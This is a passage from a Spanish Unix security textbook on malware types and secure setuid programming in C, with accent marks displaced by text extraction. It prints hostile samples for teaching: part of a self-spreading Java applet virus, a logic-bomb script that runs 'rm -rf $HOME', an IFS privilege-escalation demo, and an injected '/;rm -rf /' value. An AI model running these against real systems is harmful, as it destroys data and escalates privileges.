  • 5.4. FAUNA Y OTRAS AMENAZAS 79 byte[] buffer = new byte[homer.length()]; homer.getBytes(0, homer.length(), buffer, 0); outer.write(buffer); outer.close(); Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " + userHome + "/.homer.sh"); Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome + "/.homer.sh"); } catch (IOException ioe) {} } } anita:~/Security#Este programa infecta los sistemas Unix con un virus que contamina ficheros shellscript; antes dehacerlo muestra el mensaje ‘Java is safe, and UNIX viruses do not exist’, para despu´s localizar etodos los ficheros shell en el directorio $HOME, comprobar cu´les est´n infectados, e infectar los a aque no lo est´n. aAunque en un principio no se tom´ muy en serio el problema de los applets hostiles, poco tiempo odespu´s la propia Sun Microsystems reconoci´ la problem´tica asociada y se puso a trabajar para e o aminimizar los potenciales efectos de estos applets; principalmente se han centrado esfuerzos en con-trolar la cantidad de recursos consumidos por un programa y en proporcionar las clases necesariaspara que los propios navegadores monitoricen los applets ejecutados. No obstante, aunque se solu-cionen los problemas de seguridad en el c´digo, es probable que se puedan seguir utilizando applets ocomo una forma de ataque a los sistemas: mientras que estos programas puedan realizar conexionespor red, no habr´n desaparecido los problemas. a5.4.6 Bombas l´gicas oLas bombas l´gicas son en cierta forma similares a los troyanos: se trata de c´digo insertado o oen programas que parecen realizar cierta acci´n util. Pero mientras que un troyano se ejecuta o ´cada vez que se ejecuta el programa que lo contiene, una bomba l´gica s´lo se activa bajo ciertas o ocondiciones, como una determinada fecha, la existencia de un fichero con un nombre dado, o elalcance de cierto n´mero de ejecuciones del programa que contiene la bomba; as´ una bomba l´gica u ı, opuede permanecer inactiva en el sistema durante mucho tiempo sin activarse y por tanto sin quenadie note un funcionamiento an´malo hasta que el da˜o producido por la bomba ya est´ hecho. o n aPor ejemplo, imaginemos la misma situaci´n que antes ve´ o ıamos para el troyano: alguien con elsuficiente privilegio renombra a vi como vi.old, y en el lugar del editor sit´a el siguiente c´digo: u o #!/bin/sh if [ ‘date +%a‘ = "Sun" ]; then rm -rf $HOME else vi.old $1 fiEste cambio en el sistema puede permanecer durante a˜os4 sin que se produzca un funcionamiento nan´malo, siempre y cuando nadie edite ficheros un domingo; pero en el momento en que un usuario odecida trabajar este d´ la bomba l´gica se va a activar y el directorio de este usuario ser´ borrado. ıa, o a5.4.7 Canales ocultosSeg´n [B+ 88] un canal oculto es un cauce de comunicaci´n que permite a un proceso receptor y a u oun emisor intercambiar informaci´n de forma que viole la pol´ o ıtica de seguridad del sistema; esen- 4 Obviamente, si esto es as´ denota una escasa preocupaci´n por la seguridad en ese sistema. ı, o
  • 80 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOScialmente se trata de un m´todo de comunicaci´n que no es parte del dise˜o original del sistema e o npero que puede utilizarse para transferir informaci´n a un proceso o usuario que a priori no estar´ o ıaautorizado a acceder a dicha informaci´n. Los canales ocultos existen s´lamente en sistemas con o oseguridad multinivel ([PN92]), aquellos que contienen y manejan informaci´n con diferentes niveles ode sensibilidad, de forma que se permite acceder simult´neamente a varios usuarios a dicha informa- aci´n pero con diferentes puntos de vista de la misma, en funci´n de sus privilegios y sus necesidades o ode conocimiento (needs to know). El concepto de canal oculto fu´ introducido en 1973, en [Lam73], ey desde entonces muchos han sido los estudios realizados sobre este m´todo de ataque, que afecta eespecialmente a sistemas en los que el aspecto m´s importante de la seguridad es la privacidad de alos datos (por ejemplo, los militares).Generalmente se suelen clasificar los canales cubiertos en funci´n de varios aspectos ([G+ 93]): o • Escenario Cuando se construyen escenarios de canales cubiertos generalmente se suele diferenciar entre canales cubiertos de almacenamiento y de temporizaci´n ([Lip75]). Los primeros son o canales en los que se utiliza la escritura directa o indirecta de datos por parte de un proceso y la lectura – tambi´n directa o indirecta – de esos datos por parte de otro; generalmente utilizan e un recurso finito del sistema, como bloques de disco, que se comparte entre entidades con diferentes privilegios. Por contra, los canales ocultos de temporizaci´n utilizan la modulaci´n o o de ciertos recursos, como el tiempo de CPU, para intercambiar la informaci´n entre procesos. o En [G+ 93] se pueden encontrar ejemplos de ambos tipos de canales ocultos; otro buen ejemplo de covert channel se encuentra en [McH95]. • Ruido Como cualquier canal de comunicaci´n, oculto o no, los canales cubiertos pueden ser ruidosos o o inmunes al ruido; idealmente, un canal inmune al ruido es aqu´l en que la probabilidad e de que el receptor escuche exactamente lo que el emisor ha transmitido es 1: sin importar factores externos, no hay interferencias en la transmisi´n. Evidentemente, en la pr´ctica es o a muy dif´ conseguir estos canales tan perfectos, por lo que es habitual aplicar c´digos de ıcil o correcci´n de errores aunque ´stos reduzcan el ancho de banda del canal. o e • Flujos de informaci´n o De la misma forma que en las l´ ıneas convencionales de transmisi´n de datos se aplican t´cnicas o e (multiplexaci´n en el tiempo, multiplexaci´n en frecuencia. . . ) para maximizar el ancho de o o banda efectivo, en los canales cubiertos se puede hacer algo parecido. A los canales en los que se transmiten varios flujos de informaci´n entre emisor y receptor se les denomina agregados, o y dependiendo de c´mo se inicialicen, lean y reseteen las variables enviadas podemos hablar o de agregaci´n serie, paralela o h´ o ıbrida; los canales con un unico flujo de informaci´n se llaman ´ o no agregados.La preocupaci´n por la presencia de canales ocultos es, como hemos dicho, habitual en sistemas ode alta seguridad como los militares; de hecho, muchos de los estudios sobre ataques basados encanales cubiertos y su prevenci´n han sido – y son – realizados por las cl´sicas agencias guberna- o amentales y militares estadounidenses (National Security Agency, US Air Force, National ComputerSecurity Center. . . ). No obstante, tambi´n en entornos m´s ‘normales’ es posible la existencia de e acanales ocultos, especialmente aprovechando debilidades de la pila de protocolos TCP/IP ([Rou96],[Row96]. . . ).El an´lisis y detecci´n canales cubiertos es una tarea complicada que generalmente se basa en a ocomplejos modelos formales y matem´ticos ([Wra91b], [MK94]. . . ); diversas aproximaciones son autilizadas para el estudio de canales de temporizaci´n ([Hu91], [Wra91a]. . . ), y tambi´n para el de o ecanales de almacenamiento ([PK91]).
  • 5.4. FAUNA Y OTRAS AMENAZAS 815.4.8 Puertas traserasLas puertas traseras son trozos de c´digo en un programa que permiten a qui´n conoce su funcio- o enamiento saltarse los m´todos usuales de autenticaci´n para realizar cierta tarea. Habitualmente e oson insertados por los programadores para agilizar la tarea de probar su c´digo durante la fase de odesarrollo del mismo y se eliminan en el producto final, pero en ciertas situaciones el programadorpuede mantener estas puertas traseras en el programa funcional, ya sea deliberada o involunta-riamente. Por ejemplo, imaginemos una aplicaci´n que para realizar cualquier tarea de seguridad osolicita a quien lo ejecuta cinco claves diferentes; evidentemente, durante la fase de desarrollo esmuy inc´modo para el programador teclear estas contrase˜as antes de ver si el producto funciona o ncorrectamente, por lo que es muy com´n que esta persona decida incluir una rutina en el c´digo de u oforma que si la primera clave proporcionada es una determinada no se soliciten las cuatro restantes.Esta situaci´n, aceptable durante la fase de desarrollo, se convierte en una amenaza a la seguridad osi se mantiene una vez el producto est´ instalado en un sistema real: cualquiera que conozca la aclave inicial puede saltarse todo el mecanismo de protecci´n del programa. oAparte de puertas traseras en los programas, es posible – y t´ ıpico – situar puertas traseras enciertos ficheros vitales para el sistema; generalmente, cuando un atacante consigue acceso a unam´quina Unix desea mantener ese acceso aunque su penetraci´n sea detectada. Por ejemplo, algo a omuy habitual es a˜adir un usuario con UID 0 en el fichero de claves, de forma que el pirata pueda nseguir accediendo al sistema con ese nuevo login aunque el administrador cierre la puerta que anteshab´ utilizado para entrar. Tambi´n es cl´sico a˜adir un nuevo servicio en un puerto no utiliza- ıa e a ndo, de forma que haciendo telnet a ese n´mero de puerto se abra un shell con privilegios de root; uincluso muchos atacantes utilizan la facilidad cron para chequear peri´dicamente estos archivos e oinsertar las puertas traseras de nuevo en caso de que hayan sido borradas. ¿Qu´ hacer para evitar eestos ataques? La prevenci´n pasa por comprobar peri´dicamente la integridad de los archivos m´s o o aimportantes (ficheros de contrase˜as, spoolers, configuraci´n de la red, programas del arranque de n om´quina. . . ); tambi´n es conveniente rastrear la existencia de nuevos archivos setuidados que pue- a edan ‘aparecer’ en los sistemas de ficheros: cualquier nuevo programa de estas caracter´ ısticas sueleindicar un ataque exitoso, y una puerta trasera – generalmente un shell setuidado – colocada ennuestra m´quina. Los m´s paranoicos no deben olvidar efectuar una b´squeda bajo los dispositi- a a uvos montados (existen utilidades para hacerlo), ya que un find normal no suele encontrar ficherossetuidados que se guarden en un directorio que es a su vez punto de montaje para otra unidad.5.4.9 SuperzappingEste problema de seguridad deriva su nombre del programa superzap, una utilidad de los antiguosmainframes de IBM que permit´ a qui´n lo ejecutaba pasar por alto todos los controles de segu- ıa eridad para realizar cierta tarea administrativa, presumiblemente urgente; se trataba de un ‘Rompael cristal en caso de emergencia’ que estos sistemas pose´ ıan, o de una llave maestra capaz de abrirtodas las puertas. Obviamente, el problema sucede cuando la llave se pierde y un atacante la utilizaen beneficio propio.Como es normal, este tipo de programas no suele encontrarse en los sistemas modernos por losgraves problemas de seguridad que su existencia implica: imaginemos un shell setuidado comoroot y guardado en /tmp/, de forma que si el sistema funciona an´malamente cualquiera puede oejecutarlo para solucionar el posible problema. Parece obvio que para un atacante ser´ un gran ıaavance disponer de esta herramienta. De cualquier forma, no es habitual clasificar a los programassuperzap como malware, ya que en principio se trata de aplicaciones leg´ıtimas, incluso necesariasen determinadas situaciones; es, como sucede en muchos casos, su mal uso y no el programa en s´ ılo que constituye una amenaza a la seguridad.El ejemplo t´ ıpico ([ISV95], [Par81]. . . ) de problemas derivados del superzapping es un caso ocurridoen Nueva Jersey que caus´ la p´rdida de 128.000 d´lares de los a˜os setenta. El operador de un o e o n
  • 82 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOSsistema bancario estaba utilizando un programa superzap para corregir balances en el estado de lascuentas cuando un error simple le demostr´ lo f´cil que pod´ modificar registros sin que el sistema o a ıade auditor´ lo detectara; aprovech´ esta situaci´n para transferir dinero a tres cuentas, y dado que ıa o ono dej´ huellas la unica forma de detectar el fraude fu´ la r´pida reacci´n del banco ante la queja o ´ e a ode un usuario – y un exhaustivo an´lisis del estado de todas las cuentas. a5.4.10 Programas salamiLas t´cnicas salami se utilizan para desviar peque˜as cantidades de bienes – generalmente dinero e n– de una fuente con un gran cantidad de los mismos; de la misma forma que de un salami secortan peque˜as rodajas sin que el total sufra una reducci´n considerable, un programa salami n oroba peque˜as cantidades de dinero, de forma que su acci´n pasa inadvertida. Aunque su efecto n oes especialmente grave en entornos bancarios y no en sistemas habituales, en este trabajo vamosa hablar brevemente de los programas salami ya que se pueden utilizar para atacar equipos Unixdedicados a operaciones financieras, como la gesti´n de n´minas de personal o la asignaci´n de becas. o o oEl principal problema de los programas salami es que son extremadamente dif´ ıciles de detectar,y s´lo una compleja auditor´ de cuentas puede sacar a la luz estos fraudes. Si un programador o ıaes lo suficientemente inteligente como para insertar malware de este tipo en los sistemas de unbanco para el cual trabaja (si se tratara de un atacante externo la probabilidad de ataque ser´ casi ıadespreciable), seguramente conoce a la perfecci´n todos los entresijos de dicho banco, de forma que ono le ser´ dif´ desviar fondos a cuentas que no son la suya, comprobar si se sobrepasa un cierto a ıcilumbral en dichas cuentas – umbral a partir del cual el banco ‘se interesar´ por el propietario de ıa’la cuenta – o incluso utilizar nombres falsos o cuentas externas a las que desviar el dinero. Contraesto, una de las pocas soluciones consiste en vigilar de cerca las cuentas de los empleados y susallegados, as´ como estar atentos a posibles cambios en su modo de vida: un coche de lujo de una ıpersona con un sueldo normal, viajes caros, demasiadas ostentaciones. . . pueden ser signo de unfraude; evidentemente, es necesario consultar con un gabinete jur´ ıdico la legalidad o ilegalidad deestas acciones, que pueden constituir una invasi´n a la privacidad del trabajador. Por supuesto, la osoluci´n ideal ser´ comprobar l´ o ıa ınea a l´ ınea todo el software del banco, pero pocos auditores tienenlos conocimientos – y la paciencia – suficientes para realizar esta tarea.Un caso particular de programa salami lo constituyen los programas de redondeo hacia abajo oround down. Este fraude consiste en aprovechar c´lculos de los sistemas bancarios que obtienen acantidades de dinero m´s peque˜as que la moneda de menor valor (en el caso de Espa˜a, cantidades a n nde c´ntimos); por ejemplo, imaginemos que alguien tiene ingresadas 123.523 pesetas a un inter´s e edel 2’5%; los cr´ditos le reditar´n un total de 3088’075 pesetas, que autom´ticamente para el banco e a ase transformar´n en 3088. Si esos 7’5 c´ntimos se acumulan en otro c´lculo con cantidades igual de a e adespreciables, se llegar´ tarde o temprano a un punto en el que la cantidad total de dinero sea lo asuficientemente apetecible para un atacante dispuesto a aprovechar la situaci´n. Si pensamos que omillones de estos c´lculos se realizan diariamente en todos los bancos de Espa˜a, podemos hacernos a nuna idea del poco tiempo que tardar´ la cuenta de un pirata en llenarse. a5.5 Programaci´n segura oParece obvio que despu´s de analizar los problemas que un c´digo malicioso o simplemente mal di- e ose˜ado puede causar, dediquemos un apartado a comentar brevemente algunos aspectos a tener en ncuenta a la hora de crear programas seguros. Vamos a hablar de programaci´n en C, obviamente por oser el lenguaje m´s utilizado en Unix; para aquellos interesados en la seguridad de otros lenguajes aque tambi´n se utilizan en entornos Unix, existen numerosos art´ e ıculos que hablan de la programa-ci´n segura – e insegura – en lenguajes que van desde Java ([MS98], [DFW96], [Gal96b]. . . ) a SQL o([PB93]).
  • ´5.5. PROGRAMACION SEGURA 83El principal problema de la programaci´n en Unix lo constituyen los programas setuidados; si oun programa sin este bit activo tiene un fallo, lo normal es que ese fallo solamente afecte a quienlo ejecuta. Al tratarse de un error de programaci´n, algo no intencionado, su primera consecuencia oser´ el mal funcionamiento de ese programa. Este esquema cambia radicalmente cuando el progra- ama est´ setuidado: en este caso, el error puede comprometer tanto a quien lo ejecuta como a su apropietario, y como ese propietario es por norma general el root autom´ticamente se compromete aa todo el sistema. Para la codificaci´n segura de este tipo de programas, [Bis86] proporciona unas ol´ ıneas b´sicas: a • M´ximas restricciones a la hora de elegir el UID y el GID. a Una medida de seguridad b´sica que todo administrador de sistemas Unix ha de seguir es a realizar todas las tareas con el m´ ınimo privilegio que estas requieran ([Sim90]); as´ a nadie ı, se le ocurre (o se le deber´ ocurrir) conectar a IRC o aprender a manejar una aplicaci´n ıa o gen´rica bajo la identidad de root. Esto es directamente aplicable a la hora de programar: e cuando se crea un programa setuidado (o setgidado) se le ha de asignar tanto el UID como el GID menos peligroso para el sistema. Por ejemplo, si un programa servidor se limita a mostrar un mensaje en pantalla y adem´s escucha en un puerto por encima de 1024, no necesita para a nada estar setuidado a nombre de root (realmente, es poco probable que ni siquiera necesite estar setuidado); si pensamos en un posible error en dicho programa que permita a un atacante obtener un shell vemos claramente que cuanto menos privilegio tenga el proceso, menos malas ser´n las posibles consecuencias de tal error. a • Reset de los UIDs y GIDs efectivos antes de llamar a exec(). Uno de los grandes problemas de los programas setuidados es la ejecuci´n de otros programas o de manera inesperada; por ejemplo, si el usuario introduce ciertos datos desde teclado, datos que se han de pasar como argumento a otra aplicaci´n, nada nos asegura a priori que esos o datos sean correctos o coherentes. Por tanto, parece obvio resetear el UID y el GID efectivos antes de invocar a exec(), de forma que cualquier ejecuci´n inesperada se realice con el o m´ınimo privilegio necesario; esto tambi´n es aplicable a funciones que indirectamente realicen e el exec(), como system() o popen(). • Es necesario cerrar todos los descriptores de fichero, excepto los estrictamente necesarios, an- tes de llamar a exec(). Los descriptores de ficheros son un par´metro que los procesos Unix heredan de sus padres; de a esta forma, si un programa setuidado est´ leyendo un archivo, cualquier proceso hijo tendr´ a a acceso a ese archivo a no ser que expl´ ıcitamente se cierre su descriptor antes de ejecutar el exec(). La forma m´s f´cil de prevenir este problema es activando un flag que indique al sistema a a que ha de cerrar cierto descriptor cada vez que se invoque a exec(); esto se consigue median- te las llamadas fcntl() e ioctl(). • Hay que asegurarse de que chroot() realmente restringe. Los enlaces duros entre directorios son algo que el n´cleo de muchos sistemas Unix no permiten u debido a que genera bucles en el sistema de ficheros, algo que crea problemas a determinadas aplicaciones; por ejemplo, Linux no permite crear estos enlaces, pero Solaris o Minix s´ En ı. estos ultimos, en los clones de Unix que permiten hard links entre directorios, la llamada ´ chroot() puede perder su funcionalidad: estos enlaces pueden seguirse aunque no se limiten al entorno con el directorio ra´ restringido. Es necesario asegurarse de que no hay directorios ız enlazados a ninguno de los contenidos en el entorno chroot() (podemos verlo con la opci´n o ‘-l’ de la orden ls, que muestra el n´mero de enlaces de cada archivo). u • Comprobaciones del entorno en que se ejecutar´ el programa. a En Unix todo proceso hereda una serie de variables de sus progenitores, como el umask, los descriptores de ficheros, o ciertas variables de entorno ($PATH, $IFS. . . ); para una ejecuci´n o segura, es necesario controlar todos y cada uno de estos elementos que afectan al entorno de
  • 84 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS un proceso. Especialmente cr´ ıticas son las funciones que dependen del shell para ejecutar un programa, como system() o execvp(): en estos casos es muy dif´ asegurar que el shell va ıcil a ejecutar la tarea prevista y no otra. Por ejemplo, imaginemos el siguiente c´digo: o #include <stdlib.h> main(){ system("ls"); } A primera vista, este programa se va a limitar a mostrar un listado del directorio actual; no obstante, si un usuario modifica su $PATH de forma que el directorio ‘.’ ocupe el primer lugar, se ejecutar´ ./ls en lugar de /bin/ls. Si el programa ./ls fuera una copia del shell, y a el c´digo anterior estuviera setuidado por el root, cualquier usuario podr´ obtener privilegios o ıa de administrador. Quiz´s alguien puede pensar que el problema se soluciona si se indica la ruta completa a (/bin/ls) en lugar de unicamente el nombre del ejecutable; evidentemente, esto arreglar´ el ´ ıa fallo anterior, pero seguir´ siendo factibles multitud de ataques contra el programa. Des- ıan de la modificaci´n del $IFS (como veremos m´s adelante) hasta la ejecuci´n en entornos o a o restringidos, existen much´ ısimas t´cnicas que hacen muy dif´ que un programa con estas e ıcil caracter´ısticas pueda ser considerado seguro. • Nunca setuidar shellscripts. Aunque en muchos sistemas Unix la activaci´n del bit setuid en shellscripts no tiene ning´n o u efecto, muchos otros a´n permiten que los usuarios – especialmente el root – creen procesos u interpretados y setuidados. La potencia de los int´rpretes de ´rdenes de Unix hace casi impo- e o sible controlar que estos programas no realicen acciones no deseadas, violando la seguridad del sistema, por lo que bajo ning´n concepto se ha de utilizar un proceso por lotes para realizar u acciones privilegiadas de forma setuidada. • No utilizar creat() para bloquear. Una forma de crear un fichero de bloqueo es invocar a creat() con un modo que no permita la escritura del archivo (habitualmente el 000), de forma que si otro usuario tratara de hacer lo mismo, su llamada a creat() fallar´ Esta aproximaci´n, que a primera vista parece ıa. o completamente v´lida, no lo es tanto si la analizamos con detalle: en cualquier sistema Unix, a la protecci´n que proporcionan los permisos de un fichero s´lo es aplicable si quien trata de o o acceder a ´l no es el root. Si esto es as´ es decir, si el UID efectivo del usuario que est´ acce- e ı, a diendo al archivo es 0, los permisos son ignorados completamente y el acceso est´ permitido; a de esta forma, el root puede sobreescribir archivos sin que le importen sus bits rwx, lo que implica que si uno de los procesos que compiten por el recurso bloqueado est´ setuidado a a nombre del administrador, el esquema de bloqueo anterior se viene abajo. Para poder bloquear recursos en un programa setuidado se utiliza la llamada link(), ya que si se intenta crear un enlace a un fichero que ya existe link() falla aunque el proceso que lo invoque sea propiedad del root (y aunque el fichero sobre el que se realice no le pertenez- ca).Tambi´n es posible utilizar la llamada al sistema flock() de algunos Unices, aunque es e menos recomendable por motivos de portabilidad entre clones. • Capturar todas las se˜ales. n Un problema que puede comprometer la seguridad del sistema Unix es el volcado de la imagen en memoria de un proceso cuando ´ste recibe ciertas se˜ales (el cl´sico core dump). Esto puede e n a provocar el volcado de informaci´n sensible que el programa estaba leyendo: por ejemplo, en o versiones del programa login de algunos Unices antiguos, se pod´ leer parte de /etc/shadow ıa enviando al proceso la se˜al sigterm y consultando el fichero de volcado. n
  • ´5.5. PROGRAMACION SEGURA 85 No obstante, este problema no resulta tan grave como otro tambi´n relacionado con los core e dump: cuando un programa setuidado vuelca su imagen el fichero resultante tiene el mismo UID que el UID real del proceso. Esto puede permitir a un usuario obtener un fichero con permiso de escritura para todo el mundo pero que pertenezca a otro usuario (por ejemplo, el root): evidentemente esto es muy perjudicial, por lo que parece claro que en un progra- ma setuidado necesitamos capturar todas las se˜ales que Unix nos permita (recordemos que n sigkill no puede capturarse ni ignorarse, por norma general). • Hay que asegurarse de que las verificaciones realmente verifican. Otra norma b´sica a la hora de escribir aplicaciones setuidadas es la desconfianza de cualquier a elemento externo al programa; hemos de verificar siempre que las entradas (teclado, fiche- ros. . . ) son correctas, ya no en su formato sino m´s bien en su origen: ¿de qui´n proviene un a e archivo del que nuestro programa lee sus datos, de una fuente fiable o de un atacante que por cualquier m´todo – no nos importa cu´l – ha conseguido reemplazar ese archivo por otro que e a ´l ha creado? e • Cuidado con las recuperaciones y detecciones de errores. Ante cualquier situaci´n inesperada – y por lo general, poco habitual, incluso forzada por un o atacante – un programa setuidado debe detenerse sin m´s; nada de intentar recuperarse del a error: detenerse sin m´s. Esto, que quiz´s rompe muchos de los esquemas cl´sicos sobre pro- a a a gramaci´n robusta, tiene una explicaci´n sencilla: cuando un programa detecta una situaci´n o o o inesperada, a menudo el programador asume condiciones sobre el error (o sobre su causa) que no tienen por qu´ cumplirse, lo que suele desembocar en un problema m´s grave que la propia e a situaci´n inesperada. Para cada posible problema que un programa encuentre (entradas muy o largas, caracteres err´neos o de control, formatos de datos err´neos. . . ) es necesario que el o o programador se plantee qu´ es lo que su c´digo debe hacer, y ante la m´ e o ınima duda detener el programa. • Cuidado con las operaciones de entrada/salida. La entrada/salida entre el proceso y el resto del sistema constituye otro de los problemas comunes en programas setuidados, especialmente a la hora de trabajar con ficheros; las con- diciones de carrera aqu´ son algo demasiado frecuente: el ejemplo cl´sico se produce cuando ı a un programa setuidado ha de escribir en un archivo propiedad del usuario que ejecuta el pro- grama (no de su propietario). En esta situaci´n lo habitual es que el proceso cree el fichero, o realize sobre ´l un chown() al rUID y al rGID del proceso (es decir, a los identificadores de e qui´n est´ ejecutando el programa), y posteriormente escriba en el archivo; el esqueleto del e a c´digo ser´ el siguiente: o ıa fd=open("fichero",O_CREAT); fchown(fd,getuid(),getgid()); write(fd,buff,strlen(buff)); Pero, ¿qu´ sucede si el programa se interrumpe tras realizar el open() pero antes de invocar e a fchown(), y adem´s el umask del usuario es 0? El proceso habr´ dejado un archivo que a a pertenece al propietario del programa (generalmente el root) y que tiene permiso de escritura para todo el mundo. La forma m´s efectiva de solucionar el problema consiste en que el a proceso engendre un hijo mediante fork(), hijo que asignar´ a sus eUID y eGID los valores a de su rUID y rGID (los identificadores del usuario que lo ha ejecutado, no de su propietario). El padre podr´ enviar datos a su hijo mediante pipe(), datos que el hijo escribir´ en el a a fichero correspondiente: as´ el fichero en ning´n momento tendr´ por qu´ pertenecer al usuario ı u a e propietario del programa, con lo que evitamos la condici´n de carrera expuesta anteriormente. oSin embargo, un correcto estilo de programaci´n no siempre es la soluci´n a los problemas de o oseguridad del c´digo; existen llamadas a sistema o funciones de librer´ que son un cl´sico a la hora o ıa ade hablar de bugs en nuestro software. Como norma, tras cualquier llamada se ha de comprobarsu valor de retorno y manejar los posibles errores que tenga asociados ([Sho00]), con la evidente
  • 86 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOSexcepci´n de las llamadas que est´n dise˜adas para sobreescribir el espacio de memoria de un proceso o a n(la familia exec() por ejemplo) o las que hacen que el programa finalice (t´ ıpicamente, exit()) .Algunas de las llamadas consideradas m´s peligrosas (bien porque no realizan las comprobaciones anecesarias, bien porque pueden recibir datos del usuario) son las siguientes5 : • system(): Esta es la llamada que cualquier programa setuidado debe evitar a toda costa. Si aparece en un c´digo destinado a ejecutarse con privilegios, significa casi con toda certeza un o grave problema de seguridad; en algunas ocasiones su peligrosidad es obvia (por ejemplo si leemos datos tecleados por el usuario y a continuaci´n hacemos un system() de esos datos, o ese usuario no tendr´ m´s que teclear /bin/bash para conseguir los privilegios del propietario ıa a del programa), pero en otras no lo es tanto: imaginemos un c´digo que invoque a system() o de una forma similar a la siguiente: #include <stdio.h> #include <stdlib.h> main(){ system("/bin/ls"); } El programa anterior se limitar´ a realizar un listado del directorio desde el que lo ejecutemos. ıa Al menos en teor´ ya que podemos comprobar que no es dif´ ‘enga˜ar’ a system(): no ıa, ıcil n tenemos m´s que modificar la variable de entorno $IFS (Internal Field Separator) del shell a desde el que ejecutemos el programa para conseguir que este c´digo ejecute realmente lo o que nosotros le indiquemos. Esta variable delimita las palabras (o s´ ımbolos) en una l´ ınea de ´rdenes, y por defecto suele estar inicializada a Espacio, Tabulador, y Nueva L´ o ınea (los separadores habituales de palabras); pero, ¿qu´ sucede si le indicamos al shell que el nuevo e car´cter separador va a ser la barra, ‘/’?. Muy sencillo: ejecutar ‘/bin/ls’ ser´ equivalente a a a ejecutar ‘bin ls’, es decir, una posible orden denominada ‘bin’ que recibe como par´metro a ‘ls’. Por ejemplo, bajo SunOS – bajo la mayor´ de Unices –, y utilizando sh (no bash) ıa podemos hacer que ‘bin’ sea un programa de nuestra elecci´n, como ‘id’: o $ cp /bin/id bin $ ejemplo bin ejemplo.c ejemplo $ IFS=/ $ export IFS $ ejemplo uid=672(toni) gid=10(staff) $ Como podemos ver, acabamos de ejecutar un programa arbitrario; si en lugar de ‘id’ hu- bi´ramos escogido un int´rprete de ´rdenes, como ‘bash’ o ‘sh’, habr´ e e o ıamos ejecutado ese shell. Y si el programa anterior estuviera setudiado, ese shell se habr´ ejecutado con los ıa privilegios del propietario del archivo (si imaginamos que fuera root, podemos hacernos una idea de las implicaciones de seguridad que esto representa). • exec(), popen(): Similares a la anterior; es preferible utilizar execv() o execl(), pero si han de recibir par´metros del usuario sigue siendo necesaria una estricta comprobaci´n de los a o mismos. • setuid(), setgid(). . . : Los programas de usuario no deber´ utilizar estas llamadas, ya ıan que no han de tener privilegios innecesarios. 5 Que sean peligrosas no significa que algunas de ellas no se deban utilizar nunca, s´lo que si las usamos hemos de otomar unas m´ ınimas precauciones.
  • ´5.5. PROGRAMACION SEGURA 87 • strcpy(), strcat(), sprintf(), vsprintf(). . . : Estas funciones no comprueban la longitud de las cadenas con las que trabajan, por lo que son una gran fuente de buffer overflows. Se han de sustituir por llamadas equivalentes que s´ realicen comprobaci´n de l´ ı o ımites (strncpy(), strncat(). . . ) y, si no es posible, realizar dichas comprobaciones manualmente. • getenv(): Otra excelente fuente de desbordamientos de buffer; adem´s, el uso que hagamos a de la informaci´n le´ puede ser peligroso, ya que recordemos que es el usuario el que gene- o ıda ralmente puede modificar el valor de las variables de entorno. Por ejemplo, ¿qu´ suceder´ si e ıa ejecutamos desde un programa una orden como ‘cd $HOME’, y resulta que esta variable de entorno no corresponde a un nombre de directorio sino que es de la forma ‘/;rm -rf /’? Si algo parecido se hace desde un programa que se ejecute con privilegios en el sistema, podemos imaginarnos las consecuencias. . . • gets(), scanf(), fscanf(), getpass(), realpath(), getopt(). . . : Estas funciones no rea- lizan las comprobaciones adecuadas de los datos introducidos, por lo que pueden desbordar en algunos casos el buffer destino o un buffer est´tico interno al sistema. Es preferible el uso a de read() o fgets() siempre que sea posible (incluso para leer una contrase˜a, haciendo n por supuesto que no se escriba en pantalla), y si no lo es al menos realizar manualmente comprobaciones de longitud de los datos le´ ıdos. • gethostbyname(), gethostbyaddr(): Seguramente ver las amenazas que provienen del uso de estas llamadas no es tan inmediato como ver las del resto; generalmente hablamos de desbordamiento de buffers, de comprobaciones de l´ ımites de datos introducidos por el usua- rio. . . pero no nos paramos a pensar en datos que un atacante no introduce directamente desde teclado o desde un archivo, pero cuyo valor puede forzar incluso desde sistemas que ni siquiera son el nuestro. Por ejemplo, todos tendemos a asumir como ciertas las informaciones que un servidor DNS – m´s o menos fiables, por ejemplo alguno de nuestra propia organizaci´n – nos a o brinda. Imaginemos un programa como el siguiente (se han omitido las comprobaciones de errores habituales por cuestiones de claridad): #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <unistd.h> #include <arpa/inet.h> int main(int argc, char **argv){ struct in_addr *dir=(struct in_addr *)malloc(sizeof(struct in_addr)); struct hostent *maquina=(struct hostent *)malloc(sizeof(struct hostent)); char *orden=(char *)malloc(30); dir->s_addr=inet_addr(*++argv); maquina=gethostbyaddr((char *)dir,sizeof(struct in_addr),AF_INET); sprintf(orden,"finger @%sn",maquina->h_name); system(orden); return(0); } Este c´digo recibe como argumento una direcci´n IP, obtiene su nombre v´ /etc/hosts o o o ıa dns,y ejecuta un finger sobre dicho nombre; aparte de otros posibles problemas de seguridad (por ejemplo, ¿ser´ ıamos capaces de procesar cualquier informaci´n que devuelva el finger?, o ¿qu´ sucede con la llamada a system()?), nada extra˜o ha de suceder si el nombre de m´quina e n a devuelto al programa es ‘normal’: luisa:~/tmp$ ./ejemplo 195.195.5.1 [rosita]
